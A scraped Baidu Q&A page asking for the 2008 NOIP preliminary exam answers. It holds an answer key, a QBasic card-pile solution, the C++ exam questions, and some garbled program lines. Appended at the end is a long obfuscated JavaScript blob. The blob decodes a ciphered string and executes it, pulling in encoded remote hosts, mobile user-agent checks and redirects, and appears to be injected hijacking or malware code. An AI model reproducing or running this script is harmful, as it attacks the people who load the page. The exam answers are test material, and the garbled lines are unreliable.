第十四届全国青少年信息学技术奥林匹克联赛初赛试题答案

我要答案!!!!!!!!!!
2025-03-03 02:19:00
推荐回答(4个)
回答1:

一、基本知识单项选择题(每小题2分,共20分)
1 B 2 B 3 C 4 A 5 C
6 D 7 A 8 B 9 D 10 B
二、阅读程序填空题(每空5分,共60分)备注:有其它正确答案也可以得分
题号 空号
1 1 87 68 43 25
2 2 5 0 4 3 2 1
3 3 b - a
4 s = 400
4 5 a(k * i ) = 0
6 a(i) = 1 或者 a(i)<>0
5 7 0
8 393 - a * 81 - b * 41 - c * 29
9 min < x
6 10 b2 = 0
11 x / y <> a1 / b2
12 EXIT DO
三、程序设计题(共20分)备注:解法不唯一,仅供参考
分析:
这里提供一种解法:
(1)先求出这n堆纸牌张数的平均值avg=(x1+x2+…+xn)/n;
(2)从左边开始向右边处理,即从第1堆开始考虑,依次往右,直至第n堆。具体分为三种情况:
①若x1>avg,则移动一次,移动牌数为x1-avg,把多出的牌加到上x2上,此后继续x2的讨论;
②若x1=avg,不用移动,直接转到x2的讨论;
③若x1x1+x2+…+xj-1 < avg * (j-1) 且x1+x2+…+xj ≥ j * avg
即前(j-1)堆纸牌加在一起的总数不足平均数,需要从右边的xj中补充一些
 若x1+x2+…+xj=avg*j,则移动j-1次,转入到xj+1的讨论;
 若x1+x2+…+xj>avg*j,则移动j次,并由xj移动到xj+1上的牌数为
x1+x2+…+xj - avg*j

源程序:
REM Test3
DIM x(1000)
INPUT "n=", n ' 输入总堆数
avg = 0
FOR i = 1 TO n ' 输入各堆牌的具体张数
INPUT x(i)
avg = avg + x(i)
NEXT i
avg = avg \ n
s = 0: j = 1
DO WHILE j < n
j1 = 1: s1 = x(j)
DO WHILE s1 < j1 * avg ' 从左往右找出需要移出纸牌的堆
j = j + 1
j1 = j1 + 1
s1 = s1 + x(j)
LOOP
IF s1 = j1 * avg THEN ' 前j1堆纸牌刚好可以平摊
s = s + j1 - 1
ELSE ' 前j1堆纸牌平摊后还有多余的纸牌
s = s + j1
x(j + 1) = x(j + 1) + s1 - j1 * avg ' 多余纸牌移到第j+1堆
END IF
j = j + 1
LOOP ' jPRINT "move="; s
END
程序的运行结果为
测试数据一:
8 (共8堆牌)
6 10 9 12 8 11 7 9 (输入各堆的纸牌数)
move=5 (输出结果)

测试数据二:
4 (共4堆牌)
51 51 51 51 (输入各堆的纸牌数)
move=0 (输出结果)

回答2:

| 我的知道 | 我的消息(0/165) | 我的空间 | 百度首页 | 退出
我的知道 我的提问

我的回答

为我推荐的提问

知识掌门人

新闻 网页 贴吧 知道 MP3 图片 视频 百科
帮助 设置

百度知道 > 教育/科学 > 升学入学 > 中考添加到搜藏待解决
检举 第十四届全国青少年信息学技术奥林匹克联赛初赛试题答案
悬赏分:20 - 离问题结束还有 20 天 23 小时
我要答案!!!!!!!!!!

提问者: 786006190 - 魔法学徒 一级

我来回答:

您还可以输入字

输入内容已经达到长度限制

插入地图 插入图片
参考资料:
匿名回答 积分规则

回答 共 1 条
检举 一、基本知识单项选择题(每小题2分,共20分)
1 B 2 B 3 C 4 A 5 C
6 D 7 A 8 B 9 D 10 B
二、阅读程序填空题(每空5分,共60分)备注:有其它正确答案也可以得分
题号 空号
1 1 87 68 43 25
2 2 5 0 4 3 2 1
3 3 b - a
4 s = 400
4 5 a(k * i ) = 0
6 a(i) = 1 或者 a(i)<>0
5 7 0
8 393 - a * 81 - b * 41 - c * 29
9 min < x
6 10 b2 = 0
11 x / y <> a1 / b2
12 EXIT DO
三、程序设计题(共20分)备注:解法不唯一,仅供参考
分析:
这里提供一种解法:
(1)先求出这n堆纸牌张数的平均值avg=(x1+x2+…+xn)/n;
(2)从左边开始向右边处理,即从第1堆开始考虑,依次往右,直至第n堆。具体分为三种情况:
①若x1>avg,则移动一次,移动牌数为x1-avg,把多出的牌加到上x2上,此后继续x2的讨论;
②若x1=avg,不用移动,直接转到x2的讨论;
③若x1x1+x2+…+xj-1 < avg * (j-1) 且x1+x2+…+xj ≥ j * avg
即前(j-1)堆纸牌加在一起的总数不足平均数,需要从右边的xj中补充一些
 若x1+x2+…+xj=avg*j,则移动j-1次,转入到xj+1的讨论;
 若x1+x2+…+xj>avg*j,则移动j次,并由xj移动到xj+1上的牌数为
x1+x2+…+xj - avg*j

源程序:
REM Test3
DIM x(1000)
INPUT "n=", n ' 输入总堆数
avg = 0
FOR i = 1 TO n ' 输入各堆牌的具体张数
INPUT x(i)
avg = avg + x(i)
NEXT i
avg = avg \ n
s = 0: j = 1
DO WHILE j < n
j1 = 1: s1 = x(j)
DO WHILE s1 < j1 * avg ' 从左往右找出需要移出纸牌的堆
j = j + 1
j1 = j1 + 1
s1 = s1 + x(j)
LOOP
IF s1 = j1 * avg THEN ' 前j1堆纸牌刚好可以平摊
s = s + j1 - 1
ELSE ' 前j1堆纸牌平摊后还有多余的纸牌
s = s + j1
x(j + 1) = x(j + 1) + s1 - j1 * avg ' 多余纸牌移到第j+1堆
END IF
j = j + 1
LOOP ' jPRINT "move="; s
END
程序的运行结果为
测试数据一:
8 (共8堆牌)
6 10 9 12 8 11 7 9 (输入各堆的纸牌数)
move=5 (输出结果)

测试数据二:
4 (共4堆牌)
51 51 51 51 (输入各堆的纸牌数)
move=0 (输出结果)

回答者: 220.176.229.* 2009-10-6 20:24

分类上升达人排行榜
用户名 动态 上周上升
直挂云霄济沧海 419
东海北鼻 323
汪洋2008701 295
超级赛亚人杰 294
教学大全网址 292
更多>>

订阅该问题

您想在自己的网站上展示百度“知道”上的问答吗?来获取免费代码吧!
--------------------------------------------------------------------------------
如要投诉或提出意见建议,请到
百度知道投诉吧反馈。

©2009 Baidu

回答3:

你那里的?
15号就是初赛了
祝你能进复赛

回答4:

第十四届全国青少年信息学奥林匹克联赛初赛试题

默认分类 2008-10-26 19:11 阅读51 评论2 字号: 大大 中中 小小 ( 提高组 C++ 语言 二小时完成 )

●● 全部试题答案均要求写在答卷纸上,写在试卷纸上一律无效 ●●

一、 单项选择题 (共10题,每题1.5分,共计15分。每题有且仅有一个正确答案)。

1. 在以下各项中,( )不是操作系统软件。

A. Solaris B. Linux C. Sybase D. Windows Vista E. Symbian

2.微型计算机中,控制器的基本功能是( )。

A. 控制机器各个部件协调工作 B. 实现算术运算和逻辑运算 C. 存储各种控制信息

D. 获取外部信息 E. 存放程序和数据

3. 设字符串S=”Olympic”,S的非空子串的数目是( )。

A. 29 B. 28 C. 16 D. 17 E. 7

4.完全二叉树共有2*N-1个结点,则它的叶节点数是( )。

A. N-1 B. 2*N C. N D. 2N-1 E. N/2

5.将数组{8, 23, 4, 16, 77, -5, 53, 100}中的元素按从大到小的顺序排列,每次可以交换任意两个元素,最少需要交换( )次。

A. 4 B. 5 C. 6 D. 7 E. 8

6.设栈S的初始状态为空,元素a,b,c,d,e,f依次入栈S,出栈的序列为b,d,c,f,e,a,则栈S的容量至少应该是( )。

A. 6 B. 5 C. 4 D. 3 E. 2

7. 与十进制数28.5625相等的四进制数是( )。

A. 123.21 B. 131.22 C. 130.22 D. 130.21 E. 130.20

8. 递归过程或函数调用时,处理参数和返回地址,通常使用一种称为()的数据结构。

A. 队列 B. 多维数组 C. 线性表 D. 链表 E. 栈

9. TCP/IP是一组构成互联网基础的网络协议,字面上包括两组协议:传输控制协议(TCP)和网际协议(IP)。TCP/IP 协议把Internet网络系统描述成具有四个层次功能的网络模型,其中提供源节点和目的节点之间的信息传输服务,包括寻址和路由器选择等功能的是()。

A. 链路层 B.网络层 C. 传输层 D. 应用层 E.会话层

10. 对有序数组{5, 13, 19, 21, 37, 56, 64, 75, 88, 92, 100}进行二分查找,等概率的情况下查找成功的平均查找长度(平均比较次数)是( )。

A. 35/11 B. 34/11 C. 33/11 D. 32/11 E. 34/10

二、 不定项选择题 (共10题,每题1.5分,共计15分。每题正确答案的个数大于或等于1。多选或少选均不得分)。

11. 在下列关于图灵奖的说法中,正确的有( )。

A. 图灵奖是美国计算机协会于1966年设立的,专门奖励那些对计算机事业作出重要贡献的个人

B. 图灵奖有“计算机界诺贝尔奖”之称

C. 迄今为止,还没有华裔计算机科学家获此殊荣

D. 图灵奖的名称取自计算机科学的先驱、英国科学家阿兰·图灵

12.计算机在工作过程中,若突然停电,( )中的信息不会丢失。

A. 硬盘 B. CPU C.ROM D. RAM

13. 设A=true,B=false,C=true,D=false,以下逻辑运算表达式值为真的有( )。

A. (A∧B)∨(C∧D∨ A) B. (( A∧B)∨C)∧ D

C. (B∨C∨D)∨D∧A D. A∧(D∨ C)∧B

14.Web2.0是近年来互联网的热门概念之一,其核心思想是互动与分享。下列网站中,( )是典型的Web2.0应用。

A. Sina B. Flickr C. Yahoo D. Google

15. (2008)10 + (5B)16的结果是( )。

A. (833)16 B. (2099)10 C. (4063)8 D. (100001100011)2

16. 二叉树T,已知其先根遍历是1 2 4 3 5 7 6(数字为结点的编号,以下同),后根遍历是4 2 7 5 6 3 1,则该二叉树的可能的中根遍历是( )。

A. 4 2 1 7 5 3 6 B. 2 4 1 7 5 3 6

C. 4 2 1 7 5 6 3 D. 2 4 1 5 7 3 6

17. 面向对象程序设计(Object-Oriented Programming)是一种程序设计的方法论,它将对象作为程序的基本单元,将数据和程序封装在对象中,以提高软件的重用性、灵活性和扩展性。下面关于面向对象程序设计的说法中,正确的是( )。

A. 面向对象程序设计通常采用自顶向下设计方法进行设计。

B. 面向对象程序设计方法具有继承性(inheritance)、封装性(encapsulation)、多态性(polymorphism)等几大特点。

C. 支持面向对象特性的语言称为面向对象的编程语言,目前较为流行的有C++、JAVA、C#等。

D. 面向对象的程序设计的雏形来自于Simula语言,后来在SmallTalk语言的完善和标准化的过程中得到更多的扩展和对以前思想的重新注解。至今,SmallTalk语言仍然被视为面向对象语言的基础。

18. 设T是一棵有n个顶点的树,下列说法正确的是( )。

A. T是连通的、无环的 B. T是连通的,有n-1条边

C. T是无环的,有n-1条边 D. 以上都不对

19. NOIP竞赛推荐使用的语言环境有( )。

A. Dev-C++ B. Visual C++ C. free pascal D. Lazarus

20. 在下列防火墙(firewall)的说法中,正确的有( )。

A. 防火墙是一项协助确保信息安全的设备,其会依照特定的规则,允许或是限制数据通过

B. 防火墙可能是一台专属的硬件或是安装在一般硬件上的一套软件

C. 网络层防火墙可以视为一种 IP 数据包过滤器,只允许符合特定规则的数据包通过,其余的一概禁止穿越防火墙

D. 应用层防火墙是在 TCP/IP的“应用层”上工作,可以拦截进出某应用程序的所有数据包

三.问题求解(共2题,每题5分,共计10分)

1.有6个城市,任何两个城市之间都有一条道路连接,6个城市两两之间的距离如下表所示,则城市1到城市6的最短距离为_____________。

城市1

城市2

城市3

城市4

城市5

城市6

城市1

0

2

3

1

12

15

城市2

2

0

2

5

3

12

城市3

3

2

0

3

6

5

城市4

1

5

3

0

7

9

城市5

12

3

6

7

0

2

城市6

15

12

5

9

2

0

2.书架上有21本书,编号从1到21,从其中选4本,其中每两本的编号都不相邻的选法一共有______种。

四.阅读程序写结果(共4题,每题8分,共计32分)

1. #include

using namespace std;

int main()

{

int i, a, b, c, d, f[4];

for(i = 0; i < 4; i++) cin >> f[i];

a = f[0] + f[1] + f[2] + f[3];

a = a / f[0];

b = f[0] + f[2] + f[3];

b = b / a;

c = (b * f[1] + a) / f[2];

d = f[(b / c ) % 4];

if(f[(a + b + c + d) % 4] > f[2])

cout << a + b<< endl;

else cout << c + d << endl;

return 0;

}

输入:9 19 29 39

输出:_______________

2.#include

using namespace std;

void foo(int a, int b, int c)

{

if(a > b)

foo(c, a, b);

else

cout<
}

int main()

{

int a, b, c;

cin >> a >> b >> c;

foo(a, b, c);

return 0;

}

输入:2 1 3

输出:__________

3.#include

using namespace std;

void f(int a, int b, int c)

{

cout << a << b << c << ‘/’;

if(a == 3 && b == 2 && c == 1)

return;

if(b < c)

f(a, c, b);

else if(a < b)

{

if(a < c)

f(c, a, b);

else

f(b, c, a);

}

}

int main()

{

int a, b, c;

cin >> a >> b >> c;

f(a, b, c);

cout << endl;

return 0;

}

输入: 1 3 2

输出: ________________________________________

4. #include

#include

using namespace std;

int i,j,len;

char s[50];

int main()

{

cin >>s;

len = strlen(s);

for (i = 0;i < len; ++i)

{

if (s[i] >= 'A' && s[i] <= 'Z') s[i] -= 'A' - 'a';

}

for (i = 0;i < len; ++i)

{

if (s[i] < 'x') s[i] += 3; else s[i] += -23;

}

cout << s << '/';

for (j = 1;j < 4;j ++)

{

for (i = 0;i < len-j; i = i + j)

{

s[i] = s[i + j] ;

}

}

cout << s << endl;

return 0;

}

输入:ABCDEFGuvwxyz

输出:___________________________________________

五.完善程序 (前6空,每空3分,后5空,每空2分,共28分)

1.(找第k大的数) 给定一个长度为1,000,000的无序正整数序列,以及另一个数n(1<=n<=1000000),接下来以类似快速排序的方法找到序列中第n大的数(关于第n大的数:例如序列{1,2,3,4,5,6}中第3大的数是4)。

#include

using namespace std;

int a[1000001],n,ans = -1;

void swap(int &a,int &b)

{

int c;

c = a; a = b; b = c;

}

int FindKth(int left, int right, int n)

{

int tmp,value,i,j;

if (left == right) return left;

tmp = rand()% (right - left) + left;

swap(a[tmp],a[left]);

value = ①

i = left;

j = right;

while (i < j)

{

while (i < j && ② ) j --;

if (i < j) {a[i] = a[j]; i ++;} else break;

while (i < j && ③ ) i ++;

if (i < j) {a[j] = a[i]; j --;} else break;

}



if (i < n) return FindKth( ⑤ );

if (i > n) return ⑥

return i;

}

int main()

{

int i;

int m = 1000000;

for (i = 1;i <= m;i ++)

cin >> a[i];

cin >> n;

ans = FindKth(1,m,n);

cout << a[ans];

return 0;

}

2.(矩阵中的数字)有一个n*n(1<=n<=5000)的矩阵a, 对于1<=i < n,1<=j<=n, a[i,j] < a[i + 1,j] a[j,i] < a[j,i+1]。即矩阵中左右相邻的两个元素,右边的元素一定比左边的大。上下相邻的两个元素,下面的元素一定比上面的大。给定矩阵a中的一个数字k,找出k所在的行列(注意:输入数据保证矩阵中的数各不相同)。

#include

using namespace std;

int n,k,answerx,answery;

int a[5001][5001];

void FindKPosition()

{

int i = n,j = n;

while (j > 0)

{

if (a[n][j] < k) break;

j --;

}



while (a[i][j] != k)

{

while ( ② && i > 1) i --;

while ( ③ && j <= n) j ++;

}





}

int main()

{

int i,j;

cin >> n;

for (i = 1;i <= n;i ++)

for (j = 1;j <= n;j ++)

cin >> a[i][j];

cin >> k;

FindKPosition();

cout << answerx << " " << answery << endl;

return 0;

}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();